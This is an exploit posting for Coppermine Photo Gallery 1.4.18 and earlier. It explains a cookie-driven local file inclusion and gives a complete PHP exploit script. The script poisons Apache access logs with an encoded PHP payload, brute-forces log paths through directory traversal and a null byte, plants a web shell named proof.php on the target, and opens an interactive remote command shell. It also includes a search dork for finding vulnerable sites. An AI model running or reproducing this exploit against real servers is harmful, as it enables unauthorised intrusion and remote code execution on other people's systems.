Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit

2008.08.07
Credit: EgiX
Risk: High
Local: No
Remote: Yes
CWE: CWE-94
CWE-22

<?php /* ---------------------------------------------------------------------- Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit ---------------------------------------------------------------------- author...: EgiX mail.....: n0b0d13s[at]gmail[dot]com link.....: http://coppermine-gallery.net/ dork.....: "Powered by Coppermine Photo Gallery" [-] vulnerable code to LFI in /include/init.inc.php 263. // Start output buffering 264. ob_start('cpg_filter_page_html'); 265. 266. // Parse cookie stored user profile 267. user_get_profile(); <==== [1] 268. 269. // Authenticate 270. $cpg_udb->authenticate(); [...] 301. // Process language selection if present in URI or in user profile or try 302. // autodetection if default charset is utf-8 303. if (!empty($_GET['lang'])) 304. { 305. $USER['lang'] = ereg("^[a-z0-9_-]*$", $_GET['lang']) ? $_GET['lang'] : $CONFIG['lang']; 306. } 307. 308. if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php')) 309. { 310. $CONFIG['default_lang'] = $CONFIG['lang']; // Save default language 311. $CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________'); 312. } 313. elseif ($CONFIG['charset'] == 'utf-8') <====== [2] 314. { 315. include('include/select_lang.inc.php'); 316. if (file_exists('lang/' . $USER['lang'] . '.php')) 317. { 318. $CONFIG['default_lang'] = $CONFIG['lang']; // Save default language 319. $CONFIG['lang'] = $USER['lang']; 320. } 321. } 322. else 323. { 324. unset($USER['lang']); 325. } 326. 327. if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang'])) 328. { 329. unset($CONFIG['default_lang']); 330. } 331. 332. if (!file_exists("lang/{$CONFIG['lang']}.php")) 333. $CONFIG['lang'] = 'english'; 334. 335. // We load the chosen language file 336. require "lang/{$CONFIG['lang']}.php"; <======== [3] if $CONFIG['charset'] is set to 'utf-8' [2] (this is the default configuration), an attacker could be able to include an arbitrary local file through the require() at line 336 [3], due to $USER array can be manipulate by cookies (see user_get_profile() function [1] defined into /include/functions.inc.php, near lines 128-146) [-] Path disclosure in /themes/sample/theme.php [-] Possible bug fix in /include/functions.inc.php 128. function user_get_profile() 129. { 130. global $CONFIG, $USER; 131. 132. if (isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) { 133. $USER = @unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data'])); 134. $USER['lang'] = ereg("^[a-z0-9_-]*$", $USER['lang']) ? $USER['lang'] : $CONFIG['lang']; 135. } */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); define(STDIN, fopen("php://stdin", "r")); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); return $resp; } function get_info() { global $host, $path, $cookie, $version, $path_disc; $packet = "GET {$path} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $html = http_send($host, $packet); preg_match("/Set-Cookie: (.*)_data/", $html, $match); $cookie = $match[1]; preg_match("/<!--Coppermine Photo Gallery (.*) /", $html, $match); $version = $match[1]; $packet = "GET {$path}themes/sample/theme.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; preg_match("/in <b>(.*)themes/", http_send($host, $packet), $match); $path_disc = $match[1]; } function get_logs() { $logs[] = "/apache/logs/access.log"; $logs[] = "/apache2/logs/access.log"; $logs[] = "/apache/log/access.log"; $logs[] = "/apache2/log/access.log"; $logs[] = "/logs/access.log"; $logs[] = "/var/log/apache/access.log"; $logs[] = "/var/log/apache2/access.log"; $logs[] = "/var/log/access.log"; $logs[] = "/var/www/logs/access.log"; $logs[] = "/var/www/log/access.log"; $logs[] = "/var/log/httpd/access.log"; $logs[] = "/etc/httpd/logs/access.log"; $logs[] = "/usr/local/apache/logs/access.log"; $logs[] = "/usr/local/apache2/logs/access.log"; for ($i = 0, $climb = "../.."; $i < 7; $i++) { foreach ($logs as $_log) $array[] = $climb.$_log; $climb .= "/.."; } return $array; } function first_time() { global $host, $path; $packet = "GET {$path}proof.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; return (!preg_match("/_code_/", http_send($host, $packet))); } function lfi() { global $host, $path, $cookie; $logs = get_logs(); foreach ($logs as $_log) { print "[-] Trying to include {$_log}\n"; $data = base64_encode(serialize(array("ID" => md5(time()), "am" => 1, "lang" => $_log.chr(0)))); $packet = "GET {$path} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$cookie}_data={$data}\r\n"; $packet .= "Connection: close\r\n\r\n"; $resp = http_send($host, $packet); if (!preg_match("/f=fopen/", $resp) && preg_match("/_LfI_/", $resp)) return true; sleep(1); } return false; } print "\n+-------------------------------------------------------------------------+"; print "\n| Coppermine Photo Gallery <= 1.4.18 LFI / Code Execution Exploit by EgiX |"; print "\n+-------------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage...: php $argv[0] host path\n"; print "\nhost....: target server (ip/hostname)"; print "\npath....: path to cpg directory\n"; die(); } $host = $argv[1]; $path = $argv[2]; get_info(); print "\n[-] Version..........: {$version}"; print "\n[-] Cookie name......: {$cookie}"; print "\n[-] Path disclosure..: {$path_disc}\n\n"; if (first_time()) { $code = base64_decode( "PD9waHA7JGY9Zm9wZW4oY2hyKDExMikuY2hyKDExNCkuY2hyKDExMSkuY2hyKDExMSkuY2hyKDEwMikuY2hyKDQ2KS5jaHIoM" . "TEyKS5jaHIoMTA0KS5jaHIoMTEyKSxjaHIoMTE5KSk7ZndyaXRlKCRmLGNocig2MCkuY2hyKDYzKS5jaHIoMTEyKS5jaHIoMT" . "A0KS5jaHIoMTEyKS5jaHIoMzIpLmNocigxMDEpLmNocig5OSkuY2hyKDEwNCkuY2hyKDExMSkuY2hyKDMyKS5jaHIoMzkpLmN" . "ocig5NSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoMTAxKS5jaHIoOTUpLmNocigzOSkuY2hyKDU5KS5jaHIoMzIp" . "LmNocigxMTIpLmNocig5NykuY2hyKDExNSkuY2hyKDExNSkuY2hyKDExNikuY2hyKDEwNCkuY2hyKDExNCkuY2hyKDExNykuY" . "2hyKDQwKS5jaHIoOTgpLmNocig5NykuY2hyKDExNSkuY2hyKDEwMSkuY2hyKDU0KS5jaHIoNTIpLmNocig5NSkuY2hyKDEwMC" . "kuY2hyKDEwMSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoMTAxKS5jaHIoNDApLmNocigzNikuY2hyKDk1KS5jaHI" . "oODMpLmNocig2OSkuY2hyKDgyKS5jaHIoODYpLmNocig2OSkuY2hyKDgyKS5jaHIoOTEpLmNocigzOSkuY2hyKDcyKS5jaHIo" . "ODQpLmNocig4NCkuY2hyKDgwKS5jaHIoOTUpLmNocig2NykuY2hyKDc3KS5jaHIoNjgpLmNocigzOSkuY2hyKDkzKS5jaHIoN" . "DEpLmNocig0MSkuY2hyKDU5KS5jaHIoMzIpLmNocig2MykuY2hyKDYyKSk7ZmNsb3NlKCRmKTtkaWUoX0xmSV8pOz8+"); $packet = "GET {$path}{$code} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "User-Agent: {$code}\r\n"; $packet .= "Connection: close\r\n\r\n"; http_send($host, $packet); if (!lfi()) die("\n[-] Exploit failed...\n"); } while(1) { print "\ncoppermine-shell# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $packet = "GET {$path}proof.php HTTP/1.0\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Cmd: ".base64_encode($cmd)."\r\n"; $packet.= "Connection: close\r\n\r\n"; list($header, $payload) = explode("_code_", http_send($host, $packet)); preg_match("/200 OK/", $header) ? print "\n{$payload}" : die("\n[-] Exploit failed...\n"); } else break; } ?>

References:

http://www.milw0rm.com/exploits/6178


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